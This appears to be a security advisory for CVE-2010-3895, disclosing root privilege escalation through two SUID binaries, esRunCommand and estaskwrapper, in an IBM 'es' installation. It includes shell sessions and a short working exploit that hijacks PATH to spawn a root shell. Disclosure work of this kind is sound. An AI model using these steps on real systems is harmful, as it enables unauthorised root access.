* Privilege escalation in two applications (CVE-2010-3895)
Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.
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-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
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»esRunCommand« takes one argument and runs it as root. See example below.
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-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
OUTPUT: cmd is id
id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
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main() {
int auth = 0;
...
if (argv[1] == "estasklight") {
auth = 1;
...
path = getenv("ES_LIBRARY_PATH");
if (path) {
setenv("LD_LIBRARY_PATH", path);
setenv("LIBPATH", path);
...
if (auth) {
execvp ("estasklight", args);
}
...
}
...
}
...
}
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Explanation of the code:
»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.
Exploit for running /bin/sh
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joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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